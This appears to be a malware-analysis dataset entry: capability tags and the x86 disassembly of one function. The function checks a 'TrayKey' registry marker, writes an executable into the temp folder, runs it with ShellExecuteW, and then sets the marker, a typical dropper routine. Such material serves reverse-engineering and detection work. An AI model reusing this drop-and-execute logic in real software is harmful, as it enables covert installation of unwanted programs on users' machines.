Function at 0x403c8d
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x238], ax
xor esi, esi
lea eax, [ebp - 0x236]
push esi
push eax
call fcn.004152d0
add esp, 0xc
xor eax, eax
push 9
mov word [ebp - 0x2c], ax
pop ecx
lea edi, [ebp - 0x2a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x4365f0
mov ebx, 0x104
mov eax, ecx
mov dword [ebp - 0x244], esi
mov dword [ebp - 0x248], ebx
lea edi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, si
jne 0x403cee
sub eax, edi
sar eax, 1
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
je 0x403d15
push ecx
push esi
push 0x20000
call edi
test eax, eax
jne 0x403ecc
lea eax, [ebp - 0x23c]
push eax
push 0xf003f
push esi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403d8b
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x244]
push eax
push esi
push str.TrayKey
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x403d7f
lea eax, [ebp - 0x2c]
push eax
push esi
push 0x20000
call edi
test eax, eax
je 0x403d7f
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x403ecc
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x238]
push eax
push ebx
mov dword [ebp - 0x240], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, 0x436610
mov eax, ecx
lea edi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, si
jne 0x403da9
sub eax, edi
sar eax, 1
lea eax, [ebp - 0x238]
jne 0x403de5
push str.yafu
push ebx
push eax
call fcn.00412ef7
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.yafu]
mov word [ebp + eax - 0x2c], cx
inc eax
inc eax
cmp cx, si
jne 0x403dd0
jmp 0x403e05
push ecx
push ebx
push eax
call fcn.00412ef7
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + 0x436610]
mov word [ebp + eax - 0x2c], cx
inc eax
inc eax
cmp cx, si
jne 0x403df2
push str..exe
lea eax, [ebp - 0x238]
push ebx
push eax
call fcn.00412ef7
lea eax, [ebp - 0x240]
add esp, 0xc
push eax
call fcn.00403edd
mov edi, eax
pop ecx
cmp edi, esi
je 0x403ecc
push dword [ebp - 0x240]
lea eax, [ebp - 0x238]
push edi
push eax
call fcn.00403f47
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
push 0x42b7a0
lea eax, [ebp - 0x238]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x23c]
push eax
push 3
push esi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403ec5
lea eax, [ebp - 0x2c]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x403e8a
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push esi
push str.TrayKey
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x403ec5
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.00408aac
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00412ee8
leave
ret